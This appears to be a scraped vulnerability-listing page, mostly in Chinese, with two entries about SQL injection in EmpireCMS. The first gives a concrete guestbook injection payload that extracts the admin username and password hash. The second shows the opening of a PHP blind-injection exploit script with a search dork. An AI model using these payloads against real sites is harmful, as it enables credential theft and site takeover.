帝国（EmpireCMS） 5.1 多个注射漏洞

EmpireCMS 5.1 有个过滤函数没处理好\，可能导致产生多处垃圾类型的注射漏洞 比如留言处注射： e/tool/gbook/?bid=1 姓名： 縗\ 邮箱：,1,1,1,select concatusername,0x5f,password,0x5f,rnd from phomeenewsuser where userid=1,1,1,1,0,0,0/ 电话和留言内容随便写，提交完了就可以看到密码了 EmpireCMS 5.1 暂无， www.phome.net/...

EmpireCMS Version 4.6 (/e/tool/gfen/index.php) Blind SQL Injection Exploit

No description provided by source. ?php / EmpireCMS Version 4.6 /e/tool/gfen/index.php Blind SQL Injection Exploit fuck php=5鸡肋漏洞，还要在系统开启会员宣传积分功能时才有效 author...: Flyh4t mail.....: [email protected] link.....: http://hi.baidu.com/flyhat dork.....: "Powered by EmpireCMS" / errorreporting0;...